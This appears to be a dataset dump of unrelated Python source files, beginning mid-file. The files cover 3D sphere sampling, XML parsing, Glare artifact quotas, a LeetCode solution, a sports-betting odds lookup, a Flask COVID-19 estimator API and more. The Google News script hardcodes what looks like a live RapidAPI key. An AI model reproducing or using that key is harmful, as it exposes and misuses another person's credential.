samples_3d.norm(dim=-1, keepdim=True)\nsamples_3d = samples_3d[::skip].contiguous()\n\n# Create base icosphere\nicosphere = generate_icosphere(base_order)\n\n# Number of samples in each dimension\nnum_samples = compute_num_samples(base_order, sample_order)\nnum_samples_with_pad = compute_num_samples(base_order, sample_order,\n kernel_size)\n\n# Compute sampling resolutoin\nsampling_resolution = get_sampling_resolution(base_order)\n\n# Corners of tangent planes\ncorners = tangent_image_corners(\n icosphere, num_samples\n if not show_tangent_with_padding else num_samples_with_pad, num_samples\n if not show_tangent_with_padding else num_samples_with_pad,\n sampling_resolution / num_samples, sampling_resolution / num_samples,\n 'face')\ncorners = convert_spherical_to_3d(corners).squeeze()\ncorners = corners[::skip, :].contiguous()\n\n# For fun, let's compute the angular resolution of the patches\nfov_x, fov_y = compute_tangent_image_angular_resolution(corners)\nprint('Mean FOV X:', fov_x)\nprint('Mean FOV Y:', fov_y)\nprint('Mean Pixel Resolution X:', fov_x / num_samples)\nprint('Mean Pixel Resolution Y:', fov_y / num_samples)\n\n# ---------------\n# Visualization\n# ---------------\n# Create random color assignments for each tangent image\ncolors = torch.zeros_like(samples_3d).byte()\nface_vertex_colors = torch.zeros_like(corners).byte()\nfor i in range(colors.shape[0]):\n color = (torch.rand(1, 3) * 255).byte()\n colors[i, ...] = color\n face_vertex_colors[i, ...] = color\n\n# Write the sample locations *on the sphere* that correspond to each tangent image to a pointclound\nwrite_ply(\n 'samples_3d.ply',\n samples_3d.view(-1, 3).numpy().T,\n rgb=colors.view(-1, 3).numpy().T)\n\n# Write icosphere to mesh\nicosphere.normalize_points()\nwrite_ply(\n 'icosphere.ply',\n icosphere.get_vertices().numpy().T,\n faces=icosphere.get_all_face_vertex_indices().numpy())\n\n# Write tangent planes to mesh\nfaces = torch.zeros(2 * corners.shape[0], 3)\nfor i in range(corners.shape[0]):\n faces[2 * i, :] = torch.tensor([4 * i + 1, 4 * i + 3, 4 * i + 2])\n faces[2 * i + 1, :] = torch.tensor([4 * i, 4 * i + 1, 4 * i + 2])\nwrite_ply(\n 'tangent_planes.ply',\n corners.view(-1, 3).numpy().T,\n rgb=face_vertex_colors.view(-1, 3).numpy().T,\n faces=faces.numpy())","sub_path":"examples/visualize_icosphere_sampling.py","file_name":"visualize_icosphere_sampling.py","file_ext":"py","file_size_in_byte":2914,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"406639077","text":"__author__ = 'NovikovII'\n#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport os\nfrom xml.etree import ElementTree\n\n\n#print(os.getcwd())\nprint(dir(ElementTree))\n\n\nfile_route = 'C:\\share\\TestFAST\\ptest_internet\\configuration.xml'\nfile1 = open(file_route, 'r')\ntree = ElementTree.parse(file1)\nroot = tree.getroot()\n# print(root)\n# print(root.tag)\n# print(root.attrib)\n\n# for i in root:\n# print(i.tag, i.attrib)\n\n# for i in tree.iter():\n# print(i.text)\n\n# for i in tree.iter('ip'):\n# print(i.attrib, i.text)\n\n# for i in root:\n# print(i.attrib)\n# for a in i.attrib:\n# print(a)\n# if i.attrib == \"FUT-BOOK-1\":\n# print(123)\n# print(i)\n\n\n# for i in root.findall('MarketDataGroup'):\n# for j in i.findall('connections'):\n# for x in j.findall('connection'):\n# print(x.find('ip').text, x.find('port').text)\n# # for y in x.findall('ip'):\n# # print(y.text)\n#\n# print(root[1][0][0][3].text)\n\n# for i in tree.iter('port'):\n# tree.remove(i)\n\nconnections = ElementTree.Element('new_cont')\ntype = ElementTree.SubElement(connections, 'new_c').set('bb', 'aa')\nElementTree.dump(connections)\n\ntree.write('C:\\share\\TestFAST\\ptest_internet\\configuration_1.xml')\n\nfile1.close()","sub_path":"week_7/poll_1.py","file_name":"poll_1.py","file_ext":"py","file_size_in_byte":1257,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"86919998","text":"# Copyright 2017 - Nokia Networks\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom oslo_config import cfg\n\nfrom glare.common import exception\nfrom glare.db.sqlalchemy import api\nfrom glare.i18n import _\n\nCONF = cfg.CONF\n\n\ndef verify_artifact_count(context, type_name):\n \"\"\"Verify if user can upload data based on his quota limits.\n\n :param context: user context\n :param type_name: name of artifact type\n \"\"\"\n global_limit = CONF.max_artifact_number\n type_limit = getattr(\n CONF, 'artifact_type:' + type_name).max_artifact_number\n\n # update limits if they were reassigned for project\n project_id = context.project_id\n quotas = list_quotas(project_id).get(project_id, {})\n if 'max_artifact_number' in quotas:\n global_limit = quotas['max_artifact_number']\n if 'max_artifact_number:' + type_name in quotas:\n type_limit = quotas['max_artifact_number:' + type_name]\n\n session = api.get_session()\n\n if global_limit != -1:\n # the whole amount of created artifacts\n whole_number = api.count_artifact_number(context, session)\n\n if whole_number >= global_limit:\n msg = _(\"Can't create artifact because of global quota \"\n \"limit is %(global_limit)d artifacts. \"\n \"You have %(whole_number)d artifact(s).\") % {\n 'global_limit': global_limit, 'whole_number': whole_number}\n raise exception.Forbidden(msg)\n\n if type_limit != -1:\n # the amount of artifacts for specific type\n type_number = api.count_artifact_number(\n context, session, type_name)\n\n if type_number >= type_limit:\n msg = _(\"Can't create artifact because of quota limit for \"\n \"artifact type '%(type_name)s' is %(type_limit)d \"\n \"artifacts. You have %(type_number)d artifact(s) \"\n \"of this type.\") % {\n 'type_name': type_name,\n 'type_limit': type_limit,\n 'type_number': type_number}\n raise exception.Forbidden(msg)\n\n\ndef verify_uploaded_data_amount(context, type_name, data_amount=None):\n \"\"\"Verify if user can upload data based on his quota limits.\n\n :param context: user context\n :param type_name: name of artifact type\n :param data_amount: number of bytes user wants to upload. Value None means\n that user hasn't specified data amount. In this case don't raise an\n exception, but just return the amount of data he is able to upload.\n :return: number of bytes user can upload if data_amount isn't specified\n \"\"\"\n global_limit = CONF.max_uploaded_data\n type_limit = getattr(CONF, 'artifact_type:' + type_name).max_uploaded_data\n\n # update limits if they were reassigned for project\n project_id = context.project_id\n quotas = list_quotas(project_id).get(project_id, {})\n if 'max_uploaded_data' in quotas:\n global_limit = quotas['max_uploaded_data']\n if 'max_uploaded_data:' + type_name in quotas:\n type_limit = quotas['max_uploaded_data:' + type_name]\n\n session = api.get_session()\n res = -1\n\n if global_limit != -1:\n # the whole amount of created artifacts\n whole_number = api.calculate_uploaded_data(context, session)\n if data_amount is None:\n res = global_limit - whole_number\n elif whole_number + data_amount > global_limit:\n msg = _(\"Can't upload %(data_amount)d byte(s) because of global \"\n \"quota limit: %(global_limit)d. \"\n \"You have %(whole_number)d bytes uploaded.\") % {\n 'data_amount': data_amount,\n 'global_limit': global_limit,\n 'whole_number': whole_number}\n raise exception.RequestEntityTooLarge(msg)\n\n if type_limit != -1:\n # the amount of artifacts for specific type\n type_number = api.calculate_uploaded_data(\n context, session, type_name)\n if data_amount is None:\n available = type_limit - type_number\n res = available if res == -1 else min(res, available)\n elif type_number + data_amount > type_limit:\n msg = _(\"Can't upload %(data_amount)d byte(s) because of \"\n \"quota limit for artifact type '%(type_name)s': \"\n \"%(type_limit)d. You have %(type_number)d bytes \"\n \"uploaded for this type.\") % {\n 'data_amount': data_amount,\n 'type_name': type_name,\n 'type_limit': type_limit,\n 'type_number': type_number}\n raise exception.RequestEntityTooLarge(msg)\n return res\n\n\ndef set_quotas(values):\n session = api.get_session()\n api.set_quotas(values, session)\n\n\ndef list_quotas(project_id=None):\n session = api.get_session()\n return api.get_all_quotas(session, project_id)\n","sub_path":"glare/quota.py","file_name":"quota.py","file_ext":"py","file_size_in_byte":5407,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"8193199","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\n# vim:fenc=utf-8\n#\n# Copyright © 2020 sungminoh \n#\n# Distributed under terms of the MIT license.\n\n\"\"\"\nTwo strings are considered close if you can attain one from the other using the following operations:\n\n\tOperation 1: Swap any two existing characters.\n\n\t\tFor example, abcde -> aecdb\n\n\tOperation 2: Transform every occurrence of one existing character into another existing character, and do the same with the other character.\n\n\t\tFor example, aacabb -> bbcbaa (all a's turn into b's, and all b's turn into a's)\n\nYou can use the operations on either string as many times as necessary.\n\nGiven two strings, word1 and word2, return true if word1 and word2 are close, and false otherwise.\n\nExample 1:\n\nInput: word1 = \"abc\", word2 = \"bca\"\nOutput: true\nExplanation: You can attain word2 from word1 in 2 operations.\nApply Operation 1: \"abc\" -> \"acb\"\nApply Operation 1: \"acb\" -> \"bca\"\n\nExample 2:\n\nInput: word1 = \"a\", word2 = \"aa\"\nOutput: false\nExplanation: It is impossible to attain word2 from word1, or vice versa, in any number of operations.\n\nExample 3:\n\nInput: word1 = \"cabbba\", word2 = \"abbccc\"\nOutput: true\nExplanation: You can attain word2 from word1 in 3 operations.\nApply Operation 1: \"cabbba\" -> \"caabbb\"\nApply Operation 2: \"caabbb\" -> \"baaccc\"\nApply Operation 2: \"baaccc\" -> \"abbccc\"\n\nConstraints:\n\n\t1 <= word1.length, word2.length <= 105\n\tword1 and word2 contain only lowercase English letters.\n\"\"\"\nfrom collections import defaultdict\nfrom collections import Counter\nimport pytest\nimport sys\n\n\nclass Solution:\n def closeStrings(self, word1: str, word2: str) -> bool:\n cnt1 = Counter(word1)\n cnt2 = Counter(word2)\n return set(cnt1.keys()) == set(cnt2.keys()) \\\n and Counter(cnt1.values()) == Counter(cnt2.values())\n\n\n@pytest.mark.parametrize('word1, word2, expected', [\n (\"abc\", \"bca\", True),\n (\"a\", \"aa\", False),\n (\"cabbba\", \"abbccc\", True),\n (\"uau\", \"ssx\", False),\n (\"aaabbbbccddeeeeefffff\", \"aaaaabbcccdddeeeeffff\", False),\n])\ndef test(word1, word2, expected):\n assert expected == Solution().closeStrings(word1, word2)\n\n\nif __name__ == '__main__':\n sys.exit(pytest.main([\"-s\", \"-v\"] + sys.argv))\n","sub_path":"leetcode/solved/1777_Determine_if_Two_Strings_Are_Close/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":2228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"140785634","text":"import requests\nimport json\n\nurl = \"https://google-news.p.rapidapi.com/v1/topic_headlines\"\n\nquerystring = {\"lang\":\"en\",\"country\":\"US\",\"topic\":\"world\"}\n\nheaders = {\n 'x-rapidapi-key': \"c1f803a9afmsh862d3c270d238bep1227a1jsn1ed61da49abe\",\n 'x-rapidapi-host': \"google-news.p.rapidapi.com\"\n }\n\nresponse = requests.request(\"GET\", url, headers=headers, params=querystring)\n\n#print(response.text)\n\njson_dictionary = response.json()\nprint(json_dictionary)\n# Loop through dictionary keys to access each article\nfor item in json_dictionary['articles']:\n # Pull the title for this article into a variable.\n thisTitle = item['title']\n print(\"Title:\", thisTitle)","sub_path":"news_ingester/news/gnewsapi.py","file_name":"gnewsapi.py","file_ext":"py","file_size_in_byte":667,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"198886666","text":"# Є змінна STUDENTS_URL = 'https://script.google.com/macros/s/AKfycbxjO7Uv5-88U4..' \n# щоби перевірити, що тут повернеться просто введи у строці браузера це еквівалентно HTTP GET запиту \n# для зручного перегляду JSON юзай https://jsonformatter.curiousconcept.com/ \n# і функція яку треба написати def get_files_contents(files): \n# files - список, напр [ 'self/task1.c', 'labs/lab1/lab1.c', ... ] \n# Отримати HTTP GET запитом із STUDENTS_URL json список студентів \n# для кожного файла із вхідного списку ({filepath}}) створити шлях у репозиторії для кожного студента у форматі \n# gitfilepath = https://raw.githubusercontent.com/{username}/{reponame}/master/courses/prog_base/{filepath} \n# {username}/{reponame} отримати із шляху до репозиторія студента https://github.com/{username}/{reponame}.git \n# тепер для кожного gitfilepath виконати HTTP GET запит і отримати дані, доступні за посиланням у формі строки \n# якщо результат запиту 404 (не знайдено), то результат null \n# сформувати json відповідь у вигляді списку об'єктів \n# return [{'first_name':'Sasha', 'last_name':'Korsun', 'files':[{'path':'self/task1.c', 'content':null}, {'path':'labs/lab1/lab1.c', 'content':'The content of file'}]}, {...},]\n\ndef get_fiiles_contents(files):\n\timport urllib.request, json\n\t\n\tdef data_getter(url): # loads json data from given url and converts it into python type object\n\t\treturn json.loads(urllib.request.urlopen(url).read().decode('utf-8')) \n\t\n\tdata = data_getter('https://script.googleusercontent.com/macros/echo?user_content_key=NgKIh_LQ7JqHocjagAoEbO2KUKlioh95HI6R4o24jlhDOhJWXXNKx7Eajb5kYtLRYu-iF_26L1ElRCkn_bN0o4cVJbI6_uNum5_BxDlH2jW0nuo2oDemN9CCS2h10ox_1xSncGQajx_ryfhECjZEnM5Iuz0SM4BT3xYkn0_QOA56sNC-YiV6LsxUnYXocN5DQYnH78kS0OxZ4exvP9Ync7U5bZX3BjJA&lib=MwC7sxg9sE8YKiLFkMov1J_2d2jbgRbiq')\n\t#print (data, type(data))\n\t\n\treturner = []\n\tfor student in data:\n\t\t[username, reponame] = student['repo'].split('/')[-2:]\n\t\tstudent_files = []\n\t\tfor file in files:\n\t\t\tgitfilepath = 'https://raw.githubusercontent.com/' + username + '/' + reponame[:-4] + '/master/courses/prog_base/' + file\n\t\t\t#print(gitfilepath)\n\t\t\ttry:\n\t\t\t\tfile_data = data_getter(gitfilepath)\n\t\t\texcept urllib.error.HTTPError:\n\t\t\t\tfile_data = None\n\t\t\tstudent_files.append(file_data)\n\t\treturner.append({'first_name':student['first_name'], 'last_name':student['last_name'], 'files':student_files})\n\t#print(returner)\n\treturn json.dumps(returner)\n\nget_fiiles_contents([ 'self/task1.c', 'labs/lab1/lab1.c'])","sub_path":"dev/get_files_contents.py","file_name":"get_files_contents.py","file_ext":"py","file_size_in_byte":2904,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"162891775","text":"# Question 8: Longest Repetition\n\n# Define a procedure, longest_repetition, that takes as input a\n# list, and returns the element in the list that has the most\n# consecutive repetitions. If there are multiple elements that\n# have the same number of longest repetitions, the result should\n# be the one that appears first. If the input list is empty,\n# it should return None.\n\n\ndef longest_repetition(inputList):\n if len(inputList) > 0:\n previous = inputList[0]\n current = inputList[0]\n most, count = 0, 0\n for x in inputList:\n if x == previous:\n count += 1\n else:\n if count > most:\n most = count\n current = previous\n previous = x\n count = 1\n\n if count > most:\n current = x\n return current\n\n\n# For example,\n\nprint(longest_repetition([1, 2, 2, 3, 3, 3, 2, 2, 1]))\n# 3\n\nprint(longest_repetition(['a', 'b', 'b', 'b', 'c', 'd', 'd', 'd']))\n# b\n\nprint(longest_repetition([1, 2, 3, 4, 5]))\n# 1\n\nprint(longest_repetition([]))\n# None\n","sub_path":"Lesson 27 - Cumulative Practice Problems/08-longest-repetition-quiz.py","file_name":"08-longest-repetition-quiz.py","file_ext":"py","file_size_in_byte":1100,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"288491751","text":"#Sports Betting Application\nimport os\nimport csv\nimport time\nimport json\nimport requests\nfrom dotenv import load_dotenv\nfrom datetime import datetime, timedelta, date\nimport time\n\n#Pulls API from env file\nload_dotenv()\napikey = os.environ.get(\"API_KEY\")\n\n#Defines Variables before Function\na = []\nb = []\nteams = []\nteams_playing = []\nTest_bool = True\ncheck = True\n\n#Checks if The team the user inputs matches the teams that are playing today\ndef match_team(teams_playing, teams):\n \"\"\"\n Format: strings in lists\n\n This function takes the string item(s) input and searches\n if any of these strings match the list of home teams.\n\n Example: Is the list [\"New\", \"York\"] in the list [\"New\", \"York\", \"Yankees\"]\n \"\"\"\n check = all(items in teams_playing for items in teams)\n if check is True:\n Test_bool = True\n a.append(item['teams'])\n b.append(item['teams'])\n print(\"\")\n print(f\"For the game between {item['teams']} that starts at {newStartTime} EST on {newStartDate},\")\n for site in item[\"sites\"]:\n print(f\"The odds on {site['site_nice']} are {site['odds']['spreads']['odds']}\")\n teams_playing.clear()\n\n if check is False:\n pass\n teams_playing.clear()\n Test_bool =False\n return Test_bool\n\n\n\nif __name__ == \"__main__\":\n\n\n\n\n\n\n delay = 1.5\n\n # An api key is emailed to you when you sign up to a plan\n\n#Reads csv files into lists\n\n AbbrevList = []\n with open(\"SportsInfo.csv\", \"r\") as csv_file:\n read_csv = csv.reader(csv_file, delimiter =',')\n for lines in read_csv:\n AbbrevList.append(lines[1])\n AbbrevList.pop(0) \n\n StateList = []\n with open(\"SportsInfo.csv\", \"r\") as csv_file:\n read_csv = csv.reader(csv_file, delimiter =',')\n for lines in read_csv:\n StateList.append(lines[0])\n StateList.pop(0) \n\n LegalList = []\n with open(\"SportsInfo.csv\", \"r\") as csv_file:\n read_csv = csv.reader(csv_file, delimiter =',')\n for lines in read_csv:\n LegalList.append(lines[2])\n LegalList.pop(0) \n\n OnlineList = []\n with open(\"SportsInfo.csv\", \"r\") as csv_file:\n read_csv = csv.reader(csv_file, delimiter =',')\n for lines in read_csv:\n OnlineList.append(lines[3])\n OnlineList.pop(0) \n\n\n RegisterList = []\n with open(\"SportsInfo.csv\", \"r\") as csv_file:\n read_csv = csv.reader(csv_file, delimiter =',')\n for lines in read_csv:\n RegisterList.append(lines[4])\n RegisterList.pop(0) \n\n FutureList = []\n with open(\"SportsInfo.csv\", \"r\") as csv_file:\n read_csv = csv.reader(csv_file, delimiter =',')\n for lines in read_csv:\n FutureList.append(lines[5])\n FutureList.pop(0) \n\n#Accepts user State info and loops it invalid\n val = False\n\n while val == False:\n user_state = input(\"Please enter your state i.e. New York, NY: \").upper()\n\n if user_state in StateList:\n user_index = (StateList.index(user_state))\n val = True\n\n elif user_state in AbbrevList:\n user_index = (AbbrevList.index(user_state))\n val = True\n\n else:\n time.sleep(delay)\n print(\"Please input a valid state\")\n time.sleep(delay)\n\n if OnlineList[user_index] == \"Yes\":\n time.sleep(delay)\n print(\"\")\n print(\"It looks like online betting is legal in your area!\")\n sport = input(\"Please select your Sport (baseball, football, hockey, or basketball): \").lower()\n\n valid_options = ['baseball', 'football', 'hockey', 'basketball']\n\n is_valid = sport not in valid_options\n\n try:\n if is_valid == True: \n raise ValueError()\n except ValueError:\n print(\"Please enter a valid sport\")\n #exit()`\n\n#converts user to api keywords\n sport_selection = sport\n if sport_selection == 'baseball':\n sport_selection = 'baseball_mlb'\n elif sport_selection == 'football':\n sport_selection = 'americanfootball_nfl'\n elif sport_selection == 'hockey':\n sport_selection = 'icehockey_nhl'\n elif sport_selection == 'basketball':\n sport_selection = 'basketball_nba'\n\n#Pulls data from API\n odds_response = requests.get('https://api.the-odds-api.com/v3/odds', params={\n 'api_key': apikey, \n 'sport': sport_selection, \n 'region': 'us', # uk | us | eu | au \n 'mkt': 'spreads', # h2h | spreads | totals \n 'dateFormat': 'unix' \n })\n odds_json = json.loads(odds_response.text)\n if not odds_json['success']:\n print(\n 'There was a problem with the odds request, please try again',\n )\n else:\n #If Data is successfully found, It shows the output and disclaimer\n print(\"--------------------\")\n print(\"Disclaimer: This app is not for gambling, it only compares odds from different gambling websites to give you the best information. you must go to the websites displayed to place your bet.\")\n print(\"--------------------\")\n print(\"Understanding the Odds: These odds show your potential winnings on different websites. If you bet one dollar on the team on the left or right, and they win, you will recieve the corresponding winnings in return. If your team loses, you recieve nothing. Good Luck Betting!\")\n print(\"--------------------\")\n\n\n #Turns API teams and User input teams into lists to be compared\n if odds_json['success'] == True:\n Team_name = input(\"Enter the name of the team you are looking for. Should you want to search for all teams in this sport, type 'Go': \").split()\n for word in Team_name:\n name_cap = word.title()\n teams.append(name_cap)\n print(\"---------------\")\n\n\n for item in odds_json['data']:\n #Converts time and data from utc to est\n commence_datetime = item['commence_time']\n ts = int(commence_datetime)\n dt_utc = datetime.utcfromtimestamp(ts)\n dt_diff = timedelta(hours=4)\n dt_est = dt_utc - dt_diff\n today = date.today()\n game_start_date = dt_est.date()\n newDateFormat =datetime.strptime(str(game_start_date), '%Y-%m-%d')\n newStartDate = newDateFormat.strftime('%m-%d-%Y')\n\n game_start_time = dt_est.time()\n newTimeFormat =datetime.strptime(str(game_start_time), '%H:%M:%S' )\n newStartTime = newTimeFormat.strftime('%I:%M %p')\n\n\n if game_start_date == today:\n home = item['teams'][0].split()\n away = item['teams'][1].split()\n teams_playing.clear()\n for word in home:\n teams_playing.append(word)\n for word in away:\n teams_playing.append(word)\n if 'Go' in Team_name:\n check = True\n a.append(item['teams'])\n b.append(item['teams'])\n print(\"\")\n print(f\"For the game between {item['teams']} that starts at {newStartTime} EST on {newStartDate},\")\n for site in item[\"sites\"]:\n print(f\"The odds on {site['site_nice']} are {site['odds']['spreads']['odds']}\")\n\n #Runs function to match the two lists of teams\n match_team(teams_playing, teams)\n else:\n print(f\"It appears there are no\", sport, \"games today, make sure\", sport, \"is in season or try another sport.\")\n \n\n\n\n#If no team is found, this shows all games today in that sport\n if not a:\n print(\"We could not find the team you were looking for, here are all of the upcoming games in this league.\")\n print(\"---------------\")\n for item in odds_json['data']:\n commence_datetime = item['commence_time']\n ts = int(commence_datetime)\n dt_utc = datetime.utcfromtimestamp(ts)\n dt_diff = timedelta(hours=4)\n dt_est = dt_utc - dt_diff\n game_start_date = dt_est.date()\n game_start_time = dt_est.time()\n today = date.today()\n if game_start_date == today:\n b.append(item['teams'])\n print(f\"For the game between {item['teams']} that starts at {newStartTime} EST on {newStartDate},\")\n for site in item[\"sites\"]:\n print(f\"The odds on {site['site_nice']} are {site['odds']['spreads']['odds']}\")\n #If sport has no games today at all, sends empty message\n if not b:\n print(\"---------------\")\n print(\"There are no upcoming games in this league\")\n\n # Check your usage\n print()\n print('Remaining requests', odds_response.headers['x-requests-remaining'])\n print('Used requests', odds_response.headers['x-requests-used'])\n\n# If state has not legalized online gambling, these remove the user from the program safely\n#Reads from CSV file list\n if RegisterList[user_index] == \"Yes\":\n time.sleep(delay)\n print(\"\")\n print(\"Just a heads up! Your state requires that you register in-person before online gambling\")\n\n else: \n time.sleep(delay)\n print(\"\")\n print(\"Hmm...online betting is not currently legal in your area\")\n if FutureList[user_index] == \"Yes\":\n time.sleep(delay)\n print(\"\")\n print(\"Based on current legislation, online gambling in your state should be available by the end of 2021\")\n else: \n time.sleep(delay)\n print(\"\")\n print(\"It does not appear as though legislation will allow online gambling by the end of 2021\")\n if LegalList[user_index] == \"Yes\":\n time.sleep(delay)\n print(\"\")\n print(\"The good news is in-person gambling is legal in your state!\")","sub_path":"apps/odds_seeker.py","file_name":"odds_seeker.py","file_ext":"py","file_size_in_byte":10771,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"115465100","text":"import requests\n\nheader = {\n\n}\n\nurl2 = 'http://httpbin.org/post'\n\ndata2 = {\n 'key1': 'value1',\n 'key2': 'value2'\n}\nprint(type(data2))\n\ndef send_post(url3, data3):\n res = requests.post(url3, data3)\n print(res.json())\n\nsend_post(url2, data2)\n","sub_path":"接口学习/Requests使用/重构发送Post请求.py","file_name":"重构发送Post请求.py","file_ext":"py","file_size_in_byte":252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"69247122","text":"import pygame\n\nclass DoubleBlocks(pygame.sprite.Sprite):\n \"\"\"Klasa tworząca klocki do planszy\"\"\"\n\n def __init__(self, posx, posy, texture):\n\n # Inicjalizuj klasę bazową Sprite\n pygame.sprite.Sprite.__init__(self)\n\n self.image = pygame.image.load(\"data/gray_brick\")\n self.image = pygame.transform.scale(self.image, (80, 25))\n self.mask = pygame.mask.from_surface(self.image)\n self.rect = self.image.get_rect()\n self.rect.left = posx\n self.rect.top = posy","sub_path":"doubleblocks.py","file_name":"doubleblocks.py","file_ext":"py","file_size_in_byte":518,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"439835348","text":"import os\nimport sys\nimport time\nfrom flask import Flask, request, jsonify, abort, Response, g\nfrom marshmallow import Schema, fields, ValidationError\nfrom src.estimator import estimator as impact_estimator\nfrom dicttoxml import dicttoxml\nfrom src.models import setup_db, db, Log_entry\n\n\nclass region_schema(Schema):\n \"\"\"\n Schema to validate the region object within the input data below\n \"\"\"\n name = fields.String()\n avgAge = fields.Float()\n avgDailyIncomeInUSD = fields.Float()\n avgDailyIncomePopulation = fields.Float()\n\n\nclass estimation_data_schema(Schema):\n \"\"\"\n A marshmallow schema which validates the input data for the estimation algorithm\n \"\"\"\n region = fields.Nested(region_schema)\n periodType = fields.String()\n timeToElapse = fields.Int()\n reportedCases = fields.Int()\n population = fields.Int()\n totalHospitalBeds = fields.Int()\n\n\ndef create_app(test_config=None):\n app = Flask(__name__)\n setup_db(app)\n\n @app.before_request\n def start_timer():\n g.start = time.time()\n\n @app.after_request\n def log_request(response):\n status_code = response.status.split()[0]\n\n latency_ms = int((time.time() - g.start)*1000)\n\n new_log_entry = Log_entry(request_method=request.method,\n path=request.path, status_code=status_code, latency_ms=latency_ms)\n\n new_log_entry.insert()\n\n return response\n\n @app.route('/api/v1/on-covid-19', methods=['POST', 'GET'])\n @app.route('/api/v1/on-covid-19/', methods=['POST', 'GET'])\n @app.route('/api/v1/on-covid-19/', methods=['POST', 'GET'])\n def compute_estimates(data_format=None):\n \"\"\"\n Returns the covid-19 impact estimate based on the input data provided.\n \"\"\"\n\n if data_format not in ['xml', 'json', None]:\n abort(404)\n\n try:\n request_payload = request.get_json()\n\n payload_is_valid = estimation_data_schema().load(request_payload)\n\n response_data = impact_estimator(request_payload)\n\n if data_format == 'xml':\n # create an xml version of the json data\n xml_data = dicttoxml(response_data)\n\n return Response(xml_data, mimetype='application/xml')\n\n elif data_format == 'json':\n return jsonify(response_data)\n\n return jsonify(response_data)\n\n except ValidationError:\n abort(400)\n\n except:\n print(sys.exc_info())\n abort(500)\n\n @app.route('/api/v1/on-covid-19/logs')\n def get_logs():\n try:\n request_response_logs = Log_entry.query.all()\n\n log_data = [entry.serialize() for entry in request_response_logs]\n\n formatted_log_data = \"\"\n\n for item in log_data:\n formatted_log_data += item + \"\\n\"\n\n formatted_log_data = f\"{formatted_log_data}\"\n\n return Response(formatted_log_data, mimetype='text/plain')\n\n except:\n print(sys.exc_info())\n abort(500)\n\n finally:\n db.session.close()\n\n @app.errorhandler(400)\n def bad_request(error, message=\"Bad request\"):\n return jsonify({\n \"success\": False,\n \"error\": 400,\n \"message\": message\n }), 400\n\n @app.errorhandler(404)\n def not_found(error, message=\"Not found\"):\n return jsonify({\n \"success\": False,\n \"error\": 404,\n \"message\": message\n }), 404\n\n @app.errorhandler(422)\n def unprocessable(error):\n return jsonify({\n \"success\": False,\n \"error\": 422,\n \"message\": \"unprocessable\"\n }), 422\n\n @app.errorhandler(500)\n def not_found(error, message=\"Something went wrong on the server, and we are looking into it. Sorry for the inconvenience.\"):\n return jsonify({\n \"success\": False,\n \"error\": 500,\n \"message\": message\n }), 500\n\n return app\n\n","sub_path":"src/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":4043,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"537380157","text":"import hashlib\nimport pickle\nimport numpy as np\nfrom scipy.sparse import issparse\n\n\nREAD_BUFFER_SIZE = 2**20\n\n\ndef compute_checksum_from_file(fp):\n checksum = hashlib.md5()\n for chunk in iter(lambda: fp.read(READ_BUFFER_SIZE), b''):\n checksum.update(chunk)\n checksum = checksum.hexdigest()\n return checksum\n\n\ndef compute_checksum_from_dataset(fp):\n dataset = pickle.load(fp)\n checksum = hashlib.md5()\n if issparse(dataset['X']):\n checksum.update(dataset['X'].indices)\n checksum.update(dataset['X'].data)\n else:\n checksum.update(np.ascontiguousarray(dataset['X']))\n checksum.update(dataset['y'])\n if 'categorical' in dataset:\n checksum.update(np.array(dataset['categorical']))\n if 'columns' in dataset:\n checksum.update(np.array(dataset['columns']))\n checksum = checksum.hexdigest()\n return checksum\n","sub_path":"phases01_data_and_posteriors/test_scripts/checksum.py","file_name":"checksum.py","file_ext":"py","file_size_in_byte":880,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"393034631","text":"from sklearn.externals.joblib import dump, load\r\nimport numpy as np\r\nimport matplotlib\r\nfrom catcher import ContinuousCatcher\r\nimport matplotlib.pyplot as plt\r\n\r\ndef evaluate(model_path,EPISODE_NUMBER = 20, TIME_LIMITE = 1000, env = ContinuousCatcher()):\r\n \"\"\"\r\n Evaluate the model: return the mean of cumulative reward \r\n \"\"\"\r\n actions = [-80,-60,-40,-20,-10,-5,0,5,10,20,40,60,80]\r\n model = load(model_path)\r\n reward_sum = 0\r\n episode_number = 0\r\n previous_observation = env.reset()\r\n sum_reward_list = [] \r\n time = 0 \r\n while episode_number < EPISODE_NUMBER:\r\n # give the mean and action given an obervation.\r\n action = 0\r\n action_value = 0\r\n for a in actions:\r\n value = model.predict(np.append(previous_observation,a).reshape(1,-1))\r\n if value > action_value:\r\n action = a\r\n action_value = value\r\n # give the observation and reward given an action.\r\n observation, reward, done = env.step([action])\r\n previous_observation = observation\r\n reward_sum += reward\r\n time += 1\r\n if done or time > TIME_LIMITE:\r\n print(\"episode\" + str(episode_number))\r\n print(\"reward\" + str(reward_sum))\r\n sum_reward_list.append(reward_sum)\r\n print(sum_reward_list)\r\n reward_sum = 